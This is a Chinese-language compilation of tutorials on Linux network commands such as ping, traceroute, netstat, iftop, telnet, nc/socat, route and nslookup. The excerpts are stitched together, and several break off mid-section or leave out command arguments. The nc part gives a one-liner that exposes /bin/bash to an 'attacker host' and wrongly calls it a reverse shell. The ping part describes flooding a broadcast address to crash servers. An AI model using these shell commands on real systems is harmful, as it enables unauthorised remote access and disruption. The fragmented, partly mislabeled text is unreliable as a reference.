Linux下常见的网络命令简介
Linux下常见的网络命令简介
Linux是一种主要用于网络环境中的稳定的操作系统,安装Linux系统的用户会发现在
Linux环境下上网效率会比Windows高很多,而且其安全性更是Windows所不可比拟的。本
文向大家介绍在Linux下常用的几个与网络有关的命令。
1. ping
相信上网的朋友都曾经用过这一条命令,这里就班门弄斧了。ping命令用于检查网络上
某台主机是否为活动状态或发生故障。它是利用TCP/IP协议族中的ICMP协议的
ECHO_REQUEST数据报强制从特定的主机上返回响应,一般在大家上网后发现某网站连不上
时,首先想到的就是这个命令。因为ping命令的执行过程中同样涉及了路由、地址解析、网
关等,所以如果ping不通的,用其他的方法也只能得到同样的结果:网络不正常,它是检测
网络状态的首选。但它只是经过底层的几个协议,即使它运行成功了,还是需要用其他的方
法测试高层是否提供所需的服务。
实例:
$ping www.xxx.edu.cn
PING www.xxx.edu.cn(210.xxx.xxx.xxx):56 data bytes /*默认的报文长度*/
64 byte from 210.xxx.xxx.xxx:icmp_seq=0 time=8ms /*为什么是64呢?*/
64 byte from 210.xxx.xxx.xxx:icmp_seq=1 time=8ms /*不要忘了还有--*/
64 byte from 210.xxx.xxx.xxx:icmp_seq=2 time=8ms /*8字节的ICMP头部*/
64 byte from 210.xxx.xxx.xxx:icmp_seq=3 time=8ms
^C
---www.xxx.edu.cn PING Statistics---
4 packets transmitted,4 packets received,0% packet loss
round-trip (ms) min/avg/max=8/8/8
与Windows的一个明显的不同是,在Linux下的ping命令是无限执行的,你需要按Ctrl+C
来终止程序。上例中,运行ping命令后会在几秒钟内回显域名所对应的IP地址,这是我们
察看一域名对应的IP地址的一种方法。时间分别为最小、平均值、最大值,通过他们可以了
解到网络不同时间传输的差异。由于间歇性的故障会引起某些分组被丢弃,单个的ping包并
不能保证被正确传送,所以在linux下ping要发送一系列的包,并用成功返回的分组占所发
送的分组的比率作为网络性能的指标。icmp_seq为传输的包的序列号,time为从发出到收到
过程所经过的时间,一般是超过400毫秒,就可以认为Web网址运行缓慢,如果在1秒你没
有响应,会出现像(Request time out)一类的信息。如果多次测试都存在问题,则可以认
为是你的计算机与该网址站点没有联接上,你应该与ISP或网络管理员联系。关于ping可以
带的一些参数,比如可以指定有效负载的字节数(只有在使用数量字段时才需要使用该字段)、
请求发送的分组数,可以参见手册。
附带说一点的就是关于网络安全问题的所谓ping flood,洪水发送。Ping命令消耗网络带宽
并占用系统资源,当你向一个网络发ping flood包,必然会导致服务器服务拒绝,采取一定
措施的除外。比如:ping 10.88.255.255,你的聊天速度必然会降低很多,并可能导致服务
器的崩溃。现在很多的服务器都安装防火墙,可以防止这样的ICMP攻击。
2. traceroute
ping命令失败后,首先使用的就是这个命令查找发送的分组碰到了什么问题,其中可能
是这些分组被错误路由了,或者可能是被中间的路由器所丢弃,即该网关可能关闭,当然也
可能是目标主机不工作。
traceroute命令就是跟踪本地和远程两台主机间的UDP路由数据报。其语法很简单,例如: # traceroute 203.95.1.1
traceroute to 203.95.1.1 (203.95.1.1), 30 hops max, 38 byte packets/*TTL最大值为
30*/
1 10.10.0.1 (10.10.0.1) 3.218 ms 1.321 ms 1.441 ms
2 socks.fudan.edu.cn (202.120.224.18) 109.434 ms 58.904 ms 122.094 ms
3 * * *
4 202.120.201.49 (202.120.201.49) 229.632 ms 212.708 ms 114.296 ms
5 202.112.27.198 (202.112.27.198) 277.995 ms 260.313 ms 219.419 ms
6 202.112.27.238 (202.112.27.238) 78.386 ms 5.008 ms 16.486 ms
7 202.112.27.209 (202.112.27.209) 6.362 ms 49.738 ms 69.435 ms
8 202.112.27.213 (202.112.27.213) 45.931 ms 335.509 ms *
9 202.120.200.130 (202.120.200.130) 221.068 ms 329.695 ms 211.920 ms
10 202.127.30.132 (202.127.30.132) 262.413 ms 210.967 ms 104.437 ms
11 203.95.7.5 (203.95.7.5) 165.405 ms 72.740 ms 114.712 ms
12 * dns.stn.sh.cn (203.95.1.1) 174.073 ms *
#
该命令给出了从源主机到达目的主机间的网关,同时也给出了每个网关的往返时间。
traceroute输出中的(*)星号表示某网关没有在规定的时间内响应对它的探测。此时可以
用-w选项来增加时间预算,以避免其发生超时。
traceroute是通过设置待发送分组的存活时间TTL(详见《用Netxray解析Ipv4头部》)来
工作的。TTL减为零时,最后的网关就会给源主机发送一个ICMP出错消息。所以它的原理就
是先发送一个TTL为1的数据报,第一个路由器将TTL值减1,发现TTL变为零,将该数据
报丢弃,并发送给源主机一个ICMP报文。这样,源主机就得到了从源主机到目的主机的第一
个路由器的地址。同样源主机再发送TTL为2的数据报……,这样源主机每发送三个UDP报
文,TTL值增1。最后,对目的主机可选择一个不可能的值(33434)作为UDP端口值,这样在数
据报到达时,目标主机会发送一个"ICMP端口不可达"的消息,表示到达目标主机,并终止
traceroute跟踪。
3. netstat
netstat命令用来显示各种各样的与网络相关的状态信息,它的主要用途有:察看网络
的连接状态(仅对TCP有效,想想看为什么对UDP无效呢?)、检查接口的配置信息、检查路
由表、取得统计信息。不带参数时表示显示获得的TCP、UDP端口状态,因为UDP为无连接的
协议,所以状态对其无意义。常见的状态有:ESTABLISHED、LISTENING、TIME-WAIT,分别表
示处于连接状态、等待连接、关闭连接。-a选项为显示所有配置的接口,-i选项为显示接口
统计信息,-n选项为以数字形式显示IP地址,-r选项显示内核路由表,-s选项表示计数器
的值。
实例:/*略有改动*/
#netstat -a -n
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:110 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1027 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1032 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4991 0.0.0.0:0 LISTENING
TCP 10.55.99.99:139 0.0.0.0:0 LISTENING
TCP 10.55.99.99:1152 0.0.0.0:0 LISTENING
TCP 10.55.99.99:1152 10.49.5.88:139 ESTABLISHED
TCP 10.55.99.99:1374 10.49.5.66:139 TIME_WAIT
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1028 *:*
UDP 0.0.0.0:3456 *:*
UDP 10.55.99.99:137 *:*
UDP 10.55.99.99:138 *:*
UDP 10.55.99.99:500 *:*
UDP 127.0.0.1:1254 *:*
#netstat -I
Name Mtu Net/Dest Address Ipkts Ierrs Opkts Oerrs Collis Queue
le0 1500 wang.com anchor 51307 2 45666 2 666 0
le1 1500 www anchor 66678 56 66879 56 33 103
lo0 1536 loopback localhost 53040 0 53040 0 0 0
其中lo0为本地接口,Ierrs 和Oerrs分别为输入和输出错误,它们的值应该接近零,无论
通过接口的报文有多少,这两个字段的值超过100就算不正常。输出的错误高可能是局域网
负载过重或者发生底层故障。输入错误则说明网络过饱和或者本地主机负载过重,也可能是
物理连接的问题。Collis为冲突字段,用来判断网络的饱和情况,一般应控制在5%之内。
4.ifconfig
这个命令是用来配置网络接口,可以设置IP地址、子网掩码、广播地址等。这和Windows
的ipconfig命令很相似。
先看一下windows下的命令ipconfig:
C:/WINDOWS>ipconfig
Windows 98 IP Configuration
0 Ethernet adapter :
IP Address . . . . . . . . . . . . . .:61.151.131.103
Linux命令高级技巧使用iftop命令实时监控网络流量
Linux命令高级技巧使用iftop命令实时监控网络流量
Linux命令高级技巧:使用iftop命令实时监控网络流量
Linux是一种广泛使用的操作系统,而且它提供了一系列命令来解决各种问题和需求。其中,网络监控是Linux系统中常见的任务之一。在这篇文章中,我们将介绍一个高级技巧,即使用iftop命令来实时监控网络流量。
一、iftop命令简介
iftop是一个用于实时监控网络流量的命令行工具,它可以实时显示网络接口的信息,包括带宽使用情况、连接数、传输速率等。使用iftop命令可以帮助我们更好地了解服务器或个人计算机的网络状况,有助于排查网络问题和优化网络性能。
二、安装iftop命令
在使用iftop命令之前,我们首先需要安装它。大多数Linux发行版都提供了iftop的软件包,可以通过包管理器来安装。
在Debian或Ubuntu系统中,可以使用apt-get命令进行安装:
```
sudo apt-get install iftop
```
在Red Hat或CentOS系统中,可以使用yum命令进行安装: ```
sudo yum install iftop
```
三、使用iftop命令实时监控网络流量
安装完iftop后,我们可以通过以下命令来启动它:
```
sudo iftop
```
默认情况下,iftop会监控系统的所有网络接口,包括以太网和无线接口。如果我们只关注特定的接口,可以使用以下命令:
```
sudo iftop -i eth0
```
其中,eth0是要监控的网络接口的名称,可以根据实际情况进行调整。
启动iftop后,我们可以看到一个类似于终端界面的实时监控窗口。窗口中的内容包括本地IP地址、远程IP地址、连接数、传输速率等信息。如果网络流量较大,我们可以使用鼠标滚轮来滚动窗口以查看更多信息。
另外,iftop还提供了一些快捷键来进行操作,如: - 按下小写字母p可以按照传输速率对连接进行排序;
linux命令的telnet用法
- 1 - linux命令的telnet用法
Telnet是一种远程登录协议,可以通过这种协议连接到其他计算机上。在Linux命令中,Telnet有着广泛的用途,例如远程登录服务器、测试网络连接、调试网络等等。下面介绍一些常用的telnet命令用法。
1. 连接远程服务器
telnet命令可以帮助我们连接到远程的服务器,比如:
telnet
其中,ip地址是远程服务器的IP地址。使用上述命令,可以在本地计算机上与远程服务器建立连接。
2. 指定端口号
如果要连接到远程服务器的特定端口,可以使用以下命令:
telnet
其中,端口号是远程服务器上的端口号。使用上述命令,可以在本地计算机上与远程服务器的特定端口建立连接。
3. 发送命令
一旦连接到远程服务器,就可以向其发送命令。例如:
ls -l
使用该命令将在远程服务器上执行ls -l命令。
4. 退出
要从远程服务器退出,可以使用以下命令:
exit - 2 - 或者按下CTRL + ]键,再输入quit。
以上就是Linux命令中telnet用法的介绍。需要注意的是,在进行远程登录时,要注意网络安全问题,尽量避免使用不可信任的网络。
如何在Linux终端中进行网络连接和断开
如何在Linux终端中进行网络连接和断开
Linux操作系统的终端是一个强大的工具,它提供了各种命令和功能来管理网络连接。本文将介绍如何在Linux终端中进行网络连接和断开的步骤。
一、网络连接
要在Linux终端中建立网络连接,可以使用以下命令:
1. ifconfig:此命令用于显示和配置网络接口。使用ifconfig命令可以查看系统中所有网络接口的状态。例如,输入ifconfig可以显示当前网络接口的IP地址、MAC地址、子网掩码等信息。
2. ip命令:这是一个更高级的命令,用于在Linux系统中配置网络接口。要查看网络接口的状态,请输入ip addr show命令。要启用或禁用网络接口,请使用ip link set dev up或ip link set dev
down命令。其中,是网络接口的名称,如eth0或wlan0。
3. dhclient命令:此命令用于在Linux中获取动态主机配置协议(DHCP)的IP地址。例如,输入sudo dhclient可以在现有网络接口上获取DHCP IP地址。
4. nmcli命令:这是NetworkManager的命令行接口,用于管理网络连接。要查看可用的网络连接,请输入nmcli c show命令。要启用或禁用网络连接,请使用nmcli c up或nmcli c down命令。要连接到特定的网络连接,请输入nmcli c up 命令。其中,是网络连接的名称。
二、网络断开
在Linux终端中断开网络连接的方法如下:
1. ifconfig命令:要禁用(断开)网络接口,请输入ifconfig
down命令。其中,是网络接口的名称,如eth0或wlan0。
2. ip命令:要禁用(断开)网络接口,请输入ip link set dev
down命令。其中,是网络接口的名称,如eth0或wlan0。
3. nmcli命令:要断开网络连接,请输入nmcli c down
linux运维工作常用操作命令
linux运维工作常用操作命令
Linux操作系统因其稳定性和安全性,已经成为了互联网行业中最为广泛使用的操作系统之一。随着企业信息化程度不断提升,需要专业的Linux运维工程师来负责管理和维护服务器的日常运行。本文将介绍一些常用的Linux运维工作操作命令,供大家参考。
1. pwd命令:用于显示当前工作目录的路径。
2. cd命令:用于切换工作目录,例如:cd /home/admin。进入/home/admin目录。
3. ls命令:用于列出目录下所有的文件和目录。
4. mkdir命令:用于创建一个新的目录,例如:mkdir 。
5. rmdir命令:用于删除一个空的目录,例如:rmdir 。
6. cp命令:用于复制文件或目录,例如:cp -rf /tmp/home
/home。
7. mv命令:用于移动文件或目录,例如:mv /tmp/home /home。
8. rm命令:用于删除文件或目录,例如:rm -rf /tmp/home。
9. chmod命令:用于修改文件或目录的权限,例如:chmod 777
/tmp。
10. chown命令:用于修改文件或目录的所有者,例如:chown
admin /tmp。
11. chgrp命令:用于修改文件或目录的所属组,例如:chgrp
user /tmp。
12. df命令:用于显示文件系统的可用空间和已用空间。
13. du命令:用于显示目录或文件所占用的磁盘空间。
14. top命令:用于显示系统的资源使用情况,包括CPU、内存等。
15. ps命令:用于显示当前系统中正在运行的进程。
16. kill命令:用于关闭指定进程,例如:kill PID。
17. netstat命令:用于显示网络连接状态和信息。 18. ifconfig命令:用于显示和配置网络接口信息。
19. ping命令:用于测试网络连接是否正常,例如:ping .baidu。
Linux命令高级技巧使用nc和socat进行网络调试和转发
Linux命令高级技巧使用nc和socat进行网络调试和转发
在Linux系统中,运维或网络工程师经常需要进行网络调试和转发,以确保网络连接正常并解决问题。而nc(netcat)和socat是两个非常强大的命令行工具,它们可以帮助我们进行各种网络调试和转发的操作。本文将介绍如何使用nc和socat这两个命令进行高级网络调试和转发。
一、使用nc进行网络调试和转发
1. nc的基本使用
nc是一个用于建立TCP/UDP连接、发送和接收数据的工具。它的基本使用格式如下:
```
nc [options] host port
```
其中,host代表目标主机的IP地址或域名,port代表目标主机的端口号。
要建立一个TCP连接并发送数据到目标主机的特定端口可以这样使用nc命令:
```
echo "Hello World" | nc host port ```
这将在终端上显示"Hello World",并将其发送到目标主机和端口。
2. 使用nc进行端口扫描
nc还可以用于进行端口扫描,以确定目标主机上哪些端口处于打开状态。以下是进行端口扫描的命令示例:
```
nc -zv host startport-endport
```
其中,host代表目标主机的IP地址或域名,startport和endport代表端口范围的起始和结束端口。
3. 使用nc进行反向shell
nc还可以用于建立反向shell连接,即在目标主机上监听并等待连接,一旦有连接请求,就建立一个shell会话。以下是建立反向shell连接的命令示例:
在目标主机上执行:
```
nc -lvp listenport -e /bin/bash
```
在攻击者主机上执行: ```
nc targetIP listenport
```
这将在目标主机上打开一个shell,攻击者可以通过这个shell与目标主机进行交互。
二、使用socat进行网络调试和转发
常见网络命令的使用解读
常见网络命令的使用解读
网络命令是指在计算机网络中使用的一些命令,用于实现网络通信、配置和管理等操作。下面我将对几个常见的网络命令进行解读。
1. ping命令:
ping命令用于测试网络连接是否正常,以及检测网络的延迟和丢包情况。我们可以使用ping命令向目标主机发送网络探测包,然后通过接收返回的应答包来判断网络通信是否正常。
2. nslookup命令:
nslookup命令用于查询域名对应的IP地址以及反向查询,即根据IP地址查询对应的域名。通过nslookup命令,我们可以查找域名的DNS记录、解析服务器以及一些相关信息。
3. tracert命令(Windows系统)/traceroute命令(Linux系统):
tracert命令用于查找数据包在网络中的路径。通过连续向目标主机发送网络探测包,并记录经过的中间节点,tracert命令可以显示追踪数据包在网络中传输的详细路径。
4. telnet命令:
telnet命令是一种用于远程登录服务器的协议。通过telnet命令,我们可以在本地计算机上使用telnet客户端连接到远程主机,并进行远程操作、文件传输等。
5. ssh命令: ssh命令是一种安全的远程登录协议,相较于telnet协议更加安全。ssh命令基于非对称加密技术,可以在不安全的网络中建立安全的远程登录会话。
6. ftp命令:
7. netstat命令:
netstat命令用于显示计算机网络的连接状态、路由表、接口统计等信息。通过netstat命令,我们可以查看当前计算机的网络连接情况,包括已建立的连接、监听的端口等。
8. ipconfig命令(Windows系统)/ifconfig命令(Linux系统):
ipconfig(ifconfig)命令用于查看和配置网络接口信息。通过ipconfig(ifconfig)命令,我们可以查看计算机的IP地址、子网掩码、默认网关等网络相关的配置信息。
在Linux终端中进行网络诊断ing和traceroute命令
在Linux终端中进行网络诊断ing和traceroute命令
在Linux终端中进行网络诊断和traceroute命令
网络连通性是当今数字时代的重要组成部分,而Linux操作系统提供了一系列强大的命令来进行网络诊断和故障排除。本文将介绍在Linux终端中进行网络诊断的两个常用命令:ping和traceroute。
一、ping命令
在Linux终端中,ping命令是一个用于测试主机与目标主机之间网络连通性的基本工具。它通过发送ICMP回应请求消息来检查目标主机是否可以正常访问,并计算往返时间(RTT)以及丢包率。
使用ping命令的基本语法如下:
```shell
ping [选项] 目标主机
```
其中,选项可以是:
- `-c`: 指定发送的ICMP请求消息的数量。
- `-i`: 指定连续发送ICMP请求消息的时间间隔。
- `-s`: 指定ICMP请求消息的大小。 例如,执行以下命令可以测试与目标主机的连通性,并连续发送5个ICMP请求消息:
```shell
ping -c 5 目标主机
```
ping命令会显示每个ICMP回应消息的往返时间以及丢包率。通过观察丢包率和往返时间,我们可以初步判断网络是否可达和是否存在网络拥塞等问题。
二、traceroute命令
traceroute命令能够追踪数据包从源主机到目标主机所经过的路径,并显示每个经过的路由器的IP地址以及往返时间。它通过发送UDP数据包来实现。
使用traceroute命令的基本语法如下:
```shell
traceroute [选项] 目标主机
```
其中,选项可以是:
- `-m`: 指定最大跃点数,即traceroute命令最多跟踪经过的路由器数量。 - `-p`: 指定UDP数据包的目的端口号。
例如,执行以下命令可以追踪到目标主机之间经过的路由器信息:
```shell
traceroute 目标主机
Linux命令高级技巧使用route命令配置和管理多个网络接口的路由表
Linux命令高级技巧使用route命令配置和管理多个网络接口的路由表
Linux命令高级技巧:使用route命令配置和管理多个网络接口的路由表
Linux作为一个流行的操作系统,提供了大量强大的命令来管理网络连接和路由。其中一个重要的命令就是route命令,它可以用来配置和管理多个网络接口的路由表。本文将介绍如何使用route命令来实现这一功能。
一、什么是路由表
在理解route命令之前,我们首先需要了解什么是路由表。路由表是一种网络信息表,它存储了网络中不同主机之间的路由信息。当一台主机要发送数据到另一台主机时,它会通过查询路由表来确定数据的传输路径。
路由表通常由操作系统维护,其中包含了目标网络、下一跳、子网掩码等信息。下一跳指的是数据包要经过的下一个网络设备,而子网掩码则用来确定目标网络的范围。
二、使用route命令配置路由表
下面是一些常用的route命令选项和参数,它们可以用来配置和管理路由表。
1. 添加路由 要添加一个路由到路由表,可以使用以下命令格式:
```
route add -net 目标网络 子网掩码 下一跳
```
其中,目标网络是要添加的路由目标网络,子网掩码用来确定网络范围,下一跳是数据包要经过的下一个网络设备。
例如,如果要将数据包传输到目标网络192.168.1.0/24,并指定下一跳为192.168.0.1,可以使用以下命令:
```
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.0.1
```
2. 删除路由
要删除路由表中的某个路由,可以使用以下命令格式:
```
route del -net 目标网络 子网掩码
```
例如,如果要删除目标网络192.168.1.0/24的路由,可以使用以下命令:
``` route del -net 192.168.1.0 netmask 255.255.255.0
linux nslookup命令的作用和使用方法
第 1 页 共 3 页 linux nslookup命令的作用和使用方法
【原创版】
目录
1.概述:linux nslookup 命令的作用和定义
2.查询域名的 DNS 信息
3.查询域名解析是否正常
4.在网络故障时用来诊断网络问题
5.常用命令和参数
6.在 CentOS 系统中安装 nslookup 命令的方法
7.总结:linux nslookup 命令的应用场景和重要性
正文
一、概述:linux nslookup 命令的作用和定义
linux nslookup 命令是一种网络管理命令行工具,主要用于查询域名的 DNS 信息,检查域名解析是否正常,以及在网络故障时用来诊断网络问题。该命令在网络管理和维护中具有很高的实用价值。
二、查询域名的 DNS 信息
使用 nslookup 命令可以查询指定域名的 DNS 信息,包括 A 记录、MX 记录、NS 记录等。这有助于了解域名的解析情况,以及在网络故障时快速定位问题。
三、查询域名解析是否正常
通过查询域名的 DNS 信息,可以判断域名解析是否正常。如果发现域名解析异常,可以及时调整 DNS 解析记录,以保证网络连接的正常运行。
四、在网络故障时用来诊断网络问题 第 2 页 共 3 页 当网络出现故障时,可以使用 nslookup 命令来诊断问题。例如,通过查询域名的 DNS 记录,可以了解域名解析是否正常,进而排除 DNS 故障。同时,还可以查询其他网络参数,如 TTL 值、授权域名服务器等,以帮助快速定位网络故障。
五、常用命令和参数
slookup 命令提供了多种参数和选项,可以满足不同场景下的查询需求。常用的命令和参数如下:
1.查询一个域名的 A 记录:`nslookup domain [dns-server]`,如果没有指定 dns-server,会使用系统默认的 dns 服务器。
2.查询其他记录:`nslookup -qt [record-type]`,其中 record-type
列举几个常用的linux命令
列举几个常用的linux命令
1. cd:切换当前目录
2. ls:列出当前目录下的文件和目录
3. pwd:显示当前目录的绝对路径
4. mkdir:创建新目录
5. rm:删除文件或目录
6. cp:复制文件或目录
7. mv:移动或重命名文件或目录
8. touch:创建空文件或更新文件时间戳
9. cat:查看文件内容
10. grep:查找文件中的特定内容
11. find:在文件系统中查找文件
12. chmod:修改文件或目录的访问权限
13. chown:修改文件或目录的所有者
14. tar:打包和解压文件
15. ssh:通过安全Shell协议连接远程主机
16. scp:在本地主机和远程主机之间复制文件
17. wget:下载文件
18. top:显示系统进程和资源使用情况
19. ifconfig:查看和配置网络接口信息
20. history:查看命令历史记录
